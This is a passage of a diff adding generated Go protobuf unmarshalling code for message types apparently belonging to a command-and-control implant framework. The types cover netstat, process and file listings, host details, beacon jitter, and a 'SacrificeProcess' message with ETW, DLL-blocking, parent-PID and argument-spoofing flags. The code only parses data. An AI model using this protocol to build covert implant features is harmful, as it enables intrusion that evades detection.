intStringLen) + } + m.LocalAddr = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RemoteAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.RemoteAddr = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SkState", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.SkState = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Pid = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Protocol", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Protocol = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetstatResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetstatResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetstatResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Socks", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Socks = append(m.Socks, &SockTabEntry{}) + if err := m.Socks[len(m.Socks)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Block) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Block: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Block: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockId", wireType) + } + m.BlockId = 0 + m.BlockId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ACK) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ACK: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ACK: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + m.Id = 0 + m.Id, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Success", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Success = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Os) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Os: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Os: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Version", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Version = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Release", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Release = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Arch = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Username = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Hostname = stringValue + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Locale", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Locale = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClrVersion", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ClrVersion = append(m.ClrVersion, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Process) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Process: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Process: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Owner", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Owner = stringValue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Arch = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = stringValue + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Uid = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Timer) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Timer: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Timer: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Expression", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Expression = stringValue + iNdEx = postIndex + case 2: + if wireType != 1 { + return fmt.Errorf("proto: wrong wireType = %d for field Jitter", wireType) + } + var v uint64 + var _v64 uint64 + _v64, iNdEx, err = protobuf_go_lite.DecodeFixed64(dAtA, iNdEx) + if err != nil { + return err + } + v = uint64(_v64) + m.Jitter = float64(math.Float64frombits(v)) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FileInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FileInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FileInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsDir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsDir = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ModTime", wireType) + } + m.ModTime = 0 + m.ModTime, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Mode", wireType) + } + m.Mode = 0 + m.Mode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Link", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Link = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SacrificeProcess) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SacrificeProcess: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SacrificeProcess: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Etw", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Etw = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Argue", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Argue = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LsResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Exists", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Exists = bool(v != 0) + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Files", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return 